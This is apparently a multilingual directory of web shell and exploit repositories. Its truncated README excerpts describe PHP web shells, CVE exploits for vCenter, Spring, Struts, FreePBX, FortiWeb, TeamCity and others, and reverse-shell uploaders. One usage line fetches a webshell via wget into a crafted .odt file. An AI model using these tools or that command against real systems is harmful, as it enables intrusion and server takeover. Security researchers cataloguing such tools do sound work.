wwwolf-php-webshell

wwwolf 的 PHP Web Shell 我在使用其他 Web Shell 时经常遇到以下问题： 它们使用了新的 PHP 语法特性，与某些目标系统上运行的旧版 PHP 不兼容。 它们对远程 URL 做出错误假设，从而破坏 PHP 代码注入或服务器（不）期望的 GET 参数。 它们通常只显示标准输出内容，而丢弃了 stderr。 它们在输出显示中对特殊字符（如 ）处理不佳。 它们不允许文件上传，或者提供的方法不受目标设置支持或被其阻止。 它们需要根据目标运行的是类 UNIX 还是 Windows 系统而进行手动修改。...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 動作確認済み VMware-VCSA-all-6.7.0-8217866、VMware-VIM-all-6.7.0-8217866 ✔ VMware-VCSA-all-6.5.0-16613358 ✔ vCenter6.7 U2+ について vCenter 6.7U2+ ではウェブサイトがメモリ上で実行されるため、このexpは6.7 u2+では動作しません。 要テスト vCenter 6.5 LinuxVCSA/Windowテスト待ち vCenter 6.7 LinuxVCSA/Windowテスト待ち vCenter 7.0...

PocList

PocList 自作の脆弱性POCおよびEXP集。 POCスクリプトはURLファイルを指定すると、マルチスレッドで対象を一括スキャンして検証できます。EXPスクリプトはファイル読み取り、マルウェアアップロード、コマンド実行などの脆弱性を悪用できます。 開発環境：Python 3.7 👉2021-08-02 更新 更新内容は以下のとおりです。 1. UIを変更し、ロゴをプロジェクト名PocListに差し替え 2. 脆弱性情報の表示方法を変更 3. cmdウィンドウのカラー表示を追加。以前のバージョンではcmdウィンドウの色解析に誤りがありました。 4...

spring4shell-exploit-poc

Spring4Shell エクスプロイト PoC Spring4Shell の脆弱性の影響を受ける Spring アプリケーションを悪用します。Spring4Shell の詳細については、ブログをご覧ください。 使用方法 必要条件: Docker と docker-compose $ ./exploit.sh 脆弱な Spring アプリケーション 脆弱な Spring アプリケーションには、/helloworld/greeting 用の GET および POST リクエストハンドラーが含まれています。exploit.sh スクリプトは、アプリケーションを WAR としてパッケージ化した...

rome-webshell

Rome WebShell パワフルで楽しいPHP WebShell これは軽量なPHPウェブシェル で、バニラJavaScriptとCSSのみを使用し、 jQueryやBootstrapの無駄は一切ありません 。 機能 完全インタラクティブなファイルエクスプローラー 、ディレクトリのブラウズとファイルの即時ダウンロード ブラウザから直接ファイルをアップロード ペイロードをURLエンコードすることなくコマンドを実行 MD5パスワード保護 、例えばKing of The Hill中にアクセスを制限するのに便利 完全CSSアニメーション、レスポンシブ で楽しいFlatUIインターフェース...

struts-rce-cve-2017-5638

struts-rce-cve-2017-5638 Struts-RCE CVE-2017-5638 これは、ウェブシェルを作成し、コンソール上でウェブシェルと対話するためのbash/cmd風インターフェースを提供する修正版エクスプロイトです。...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework リモートコード実行脆弱性 CVE-2022-22965 脆弱性再現環境 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 WebShellの書き込み 注意：検証テストではShellは一度だけ書き込めます。 利用スクリプト python CVE-2022-22965.py...

fuckshell

Fuckshell シンプルなWebshellスキャナー。辞書を使用して、定義されたファイルを利用！...

CVE-2023-45878-POC

CVE-2023-45878-POC CVE-2023-45878のPOC - XAMPP Windows上のGibbon LMS向け。 コマンドインジェクション用のwebshell（shell.php）をアップロードします。 リバースシェルの場合、shell.ps1というPowerShellリバースシェルスクリプトをアップロードします。これはshell.phpを使用してターゲットマシンにアップロードされます。 必要条件 Python3 Requests Python3モジュール netcat pip3 install requests 仮想環境 mkdir CVE-2023-45878...

CVE-2025-25257

CVE-2025-25257 - FortiWebの脆弱性チェッカー＆エクスプロイト FortiWebデバイスにおけるCVE-2025-25257の脆弱性を確認・悪用するためのPythonベースのツール。この脆弱性は、細工されたAuthorizationヘッダーを介してSQLインジェクションとリモートコード実行を可能にします。 📋 Description CVE-2025-25257はFortiWebデバイスにおける深刻な脆弱性であり、以下を可能にします： Authorizationヘッダーを介したSQLインジェクション Webシェルアップロードによるリモートコード実行...

CVE-2024-2053

LFIからRCEへのエクスプロイト（ログポイズニング経由） CVE-2024-2053（Artica Proxy）用のPython3エクスプロイト 📝 説明 このPython3スクリプトは、ローカルファイルインクルージョン（LFI）脆弱性を悪用し、ログポイズニング技術を介してリモートコード実行（RCE）を達成します。特にArtica Proxy（CVE-2024-2053）向けに設計されていますが、他のLFIシナリオにも適応可能です。 ⚡ 機能 複数のLFIテストベクター（/etc/passwd、/proc/self/environ） 回避用の4種類のPHPペイロードバリアント...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — FreePBX Endpoint モジュール SQL インジェクション → リモートコード実行 概要 FreePBX は、Asterisk PBX のオープンソース Web GUI であり、エンタープライズテレフォニー環境で広く導入されています。Endpoint Manager モジュールは、/admin/ajax.php に AJAX ハンドラを公開しており、brand パラメータを受け取り、サニタイゼーションなしで直接 SQL クエリに展開します。認証されていないリモート攻撃者は、任意の SQL を注入し、cronjobs...

vcenter_rce

vcenterrce 脆弱性の悪用、Vmware vCenter 6.5-7.0 RCE（CVE-2021-21972）、冰蝎3をアップロード、getshell 使い方： python3 vcenterrce -u url...

quasibot

quasiBot quasiBot 0.3 - Read Me 07.08.14 概要...

CVE-2026-63077

CVE-2026-63077 — JetBrains TeamCity 未认证远程代码执行漏洞 -red.svg 严重未认证远程代码执行漏洞（CVSS 9.8）— 已在野外被积极利用 本仓库包含针对 CVE-2026-63077 的完整可用概念验证（PoC）漏洞利用程序，这是 JetBrains TeamCity 中的一个严重反序列化漏洞，允许未认证攻击者在服务器上执行任意命令。 该漏洞利用程序通过 Agent 注册端点（/app/agents/v1/register）建立恶意代理会话，然后向 /app/agents/v1/commands/error 端点发送精心构造的...

CVE-2025-31324

SAP CVE-2025-31324 アナライザー SAP Visual Composer システムにおける CVE-2025-31324 脆弱性を特定し、悪意のある .jsp などの既知の侵害指標 IOC を検出する Python ベースのセキュリティスキャナーです。 🚀 特徴 脆弱な Visual Composer エンドポイントを検出します 既知の悪意のある .jsp ファイル ウェブシェル をスキャンします CSV ファイルからの複数ターゲットスキャン カスタム IOC ファイルのサポート 結果を CSV に保存 オプション 任意の冗長出力 🛠 必要条件 Python 3.6+...

instantbox

En | 简 | 繁 instantbox Get a clean, ready-to-go Linux box in seconds. Introduction What is instantbox? It's a project that spins up temporary Linux systems with instant webshell access from any browser. What can an instantbox do? 1. provides a clean Linux environment for a presentation 2. let...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE および外部リソースのロード脆弱性、発見者 @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 エクスプロイト カレントディレクトリにウェブシェルをドロップするためのサンプルです。 python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...

CVE-2025-5781

FreePBX CVE-2025-57819 漏洞利用工具 描述 该脚本利用了 FreePBX 16.0.26.0 之前版本中的一个漏洞（CVE-2025-57819），允许远程攻击者通过 AJAX API 端点中的 SQL 注入缺陷执行任意 PHP 代码。该脚本会同时创建 webshell 和自动触发的反向 shell。 漏洞详情 CVE ：CVE-2025-57819 受影响版本 ：FreePBX 16.0.26.0 影响 ：远程代码执行（RCE） 攻击向量 ：AJAX API（/admin/ajax.php）中的 SQL 注入 功能特性 在 /pbxshell.php 创建持久化...

CVE-2024-54761

BigAnt Office Messenger 5.6.06 におけるSQLインジェクション経由のRCE BigAnt MessengerのSQLインジェクションの脆弱性により、RCEの脆弱性が発生します。以下の手順に従って悪用してください。 使用方法: CVE-2024-54761.py -h -r RHOST -p RPORT -u USERNAME -P PASSWORD options: -h, --help show this help message and exit -r, --rhost RHOST Target IP address -p, --rport RPORT...